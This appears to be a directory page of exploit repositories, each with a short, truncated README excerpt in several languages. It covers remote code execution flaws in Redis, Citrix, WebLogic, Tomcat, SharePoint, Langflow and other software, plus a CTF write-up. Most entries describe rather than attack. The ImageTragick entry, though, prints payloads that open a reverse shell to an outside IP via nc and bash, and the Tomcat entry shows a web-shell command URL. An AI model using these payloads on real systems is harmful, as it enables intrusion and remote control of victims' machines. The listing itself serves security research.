spd_flasher

CVE-2022-38694 Exploit durci — Flasheur automatique USB Host RP2350 中文版 README Tutoriel Tutoriel de rétro-ingénierie de la chaîne de démarrage UDX710 et de démarrage durci RP2350 Exploitation de la vulnérabilité BootROM Unisoc CVE-2022-38694 via l'hôte USB Raspberry Pi RP2350 pour envoyer...

Redis-RCE

Redis-RCE تنفيذ الأوامر عن بُعد لـ redis4 و redis5 كود بايثون من https://github.com/Ridter/redis-rce من خلال تحميل ملف so، يتم توسيع أمر جديد system.exec لتنفيذ الأوامر بنجاح strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery Controller और Citrix Gateway में रिमोट कोड एक्ज़ीक्यूशन RCE Citrix Application Delivery Controller ADC पूर्व में NetScaler ADC और Citrix Gateway पूर्व में NetScaler Gateway में एक कमज़ोरी पाई गई है, जिसका फायदा उठाकर कोई अप्रमाणित हमलावर मनमाना कोड...

ImageTragick_Poc

ImageTragick POCs RCEPOC push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|mknod /tmp/backpipe p && nc 121.42.56.8 8989 0/tmp/backpipe"' pop graphic-context push graphic-context viewbox 0 0 640 480 fill 'urlhttps://example.com/image.jpg"|bash -i &...

CVE-2019-19511

CVE-2019-19511 Chevereto - 1.0.0 Free - 1.1.4 Free, = 3.13.4 Core, रिमोट कोड निष्पादन विवरण Chevereto में installer.php 1.1.4 Free और 3.13.4 Core तक, रिमोट प्रमाणित व्यवस्थापकों को सेटअप प्रक्रिया में यह कोड इंजेक्ट करके और settings.php फ़ाइल को ओवरराइट करके मनमाना PHP कोड निष्पादित करने की अनुमत...

CVE-2025-24813-apache-tomcat

CVE-2025-24813 Nuclei Template CVE-2025–24813 nuclei -l list.txt -t CVE-2025–24813.yaml execute shell http://target.com/updates.jsp?cmd=whoami...

Rejetto-HTTP-File-Server-HFS-2.3.x---Remote-Command-Execution

Rejetto HTTP File Server HFS 2.3.x - تنفيذ أوامر عن بُعد CVE-2014-6287 إعادة كتابة لـ Pergyz 49584.py لإرجاع قشرة PowerShell عكسية x64 الاستخدام $ python3 hfs-2-3-exploit.py قم بتوفير المتغيرات عند الطلب، وسيبدأ Netcat تلقائيًا لك...

CVE-2026-0776

CVE-2026-0776 - عنصر مسار بحث غير خاضع للتحكم في عميل Discord ملخص يوثق هذا المستودع ثغرة CVE-2026-0776، وهي مشكلة تنفيذ كود محلي تؤثر على عميل Discord لسطح المكتب على نظام Windows. ترتبط الثغرة بسلوك غير آمن في حل الوحدات module resolution داخل المكونات القائمة على Node.js، مما قد يسمح بتحميل كو...

CVE-2018-2628

CVE-2018-2628 WebLogic डीसीरियलाइज़ेशन कमज़ोरी का पुनरुत्पादन weblogic गेटशेल python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / /...

ezviz_lan_rce

ezvizlanrce This repository contains the slides and PoC videos for the talk SADProtocol goes to Hollywood which was presented at DEF CON 31 Hardware Hacking Village. You can also find the docker image to build binaries that run on the camera and the proof of concept exploits for CVE-2023-34551 an...

ezviz_lan_rce

ezvizlanrce यह रिपॉजिटरी SADProtocol goes to Hollywood वार्ता के स्लाइड्स और PoC वीडियो शामिल करती है, जिसे DEF CON 31 Hardware Hacking Village में प्रस्तुत किया गया था। आप कैमरे पर चलने वाले बाइनरी बनाने के लिए डॉकर इमेज और CVE-2023-34551 तथा CVE-2023-34552 के प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट भी पा...

cve-2026-75604

CVE-2026-75604 - Next.js path traversal → RCE Windows · research lab Reproduction lab and exploit tooling for CVE-2026-75604 , an unauthenticated path-traversal in the Next.js incremental cache that affects Windows hosts. A single un-escaped backslash lets an attacker read and write files outside...

CVE-2026-50522

CVE-2026-50522 Poc : استغلال إلغاء تسلسل SharePoint لتنفيذ الأكواد عن بُعد تنفيذ تعليمات برمجية عن بُعد دون مصادقة على خادم SharePoint عبر إلغاء تسلسل ملف تعريف الارتباط SecurityContextToken أداة استغلال للمسح الجماعي لثغرة CVE-2026-50522 التي تستهدف خادم Microsoft SharePoint المحلي on-premises...

CVE-2022-48565-POC

CVE-2022-48565 PoC परिचय यह एक प्रूफ ऑफ कॉन्सेप्ट PoC है जो कमजोरी CVE-2022-48565 को प्रदर्शित करता है, जो Python में Plist फ़ाइलों के असुरक्षित डिसीरियलाइज़ेशन पर आधारित है। विशेष रूप से तैयार की गई प्रॉपर्टी लिस्ट Plist फ़ाइलों को प्रोसेस करके, एक हमलावर लक्ष्य सिस्टम पर मनमाना कोड निष्पादित कर...

CVE-2019-7238

CVE-2019-7238 Nexus Repository Manager 3 تنفيذ كود عن بُعد بدون مصادقة 3.15.0 اكتشفه Rico Tencent Security Yunding Lab و @voidfyoo تحليل مفصّل بالإنجليزية: https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/ تحليل مفصّل بغير...

CVE-2026-33017-Langflop

CVE-2026-33017 Langflow "Langflop" إثبات مفهوم PoC لثغرة RCE دون مصادقة إثبات مفهوم PoC لثغرة تنفيذ التعليمات البرمجية دون مصادقة عبر buildpublictmp في Langflow. يقوم برفع مكوّن خبيث إلى تدفّق عام، ويشغّل البناء، ويلتقط قشرة عكسية. لأغراض اختبار الأمان المصرَّح به فقط. استخدمه فقط ضد الأنظمة التي...

Explosive-As-Hell-MCS-Qualifer-Web-500

CVE-2025-55182 — React Server Components RCE | CTF Writeup Category: Web Exploitation | Difficulty: Medium | Vulnerability: Remote Code Execution → SUID Privilege Escalation TL;DR React Server Component endpoint vulnerable to CVE-2025-55182 RCE → enumerated SUID binaries → /usr/bin/perl had SUID...

cve-2022-33891-fix

EP3 - MAC0352 Redes deComputadores e Sistemas Distribuidos 2023 Tópico: CVE-2022-33891 Execução de comandos shell arbitrários em aplicação spark que utiliza autenticação via ACL Alunos Elinilson Vital Leoarndo Bozzetto CVE-2022-33891 Patch Instructions for Ubuntu 22.04 Prerequisites Ubuntu 22.04...

CVE-2024-32002-git-rce-father-poc

This repository does not have a README...

CVE-2018-6574

CVE-2018-6574 Go before 1.8.7, Go 1.9.x before 1.9.4, and Go 1.10 pre-releases before Go 1.10rc2 allow go get remote command execution during source code build, by leveraging the gcc or clang plugin feature, because -fplugin= and -plugin= arguments were not blocked. from mitre RCE command The...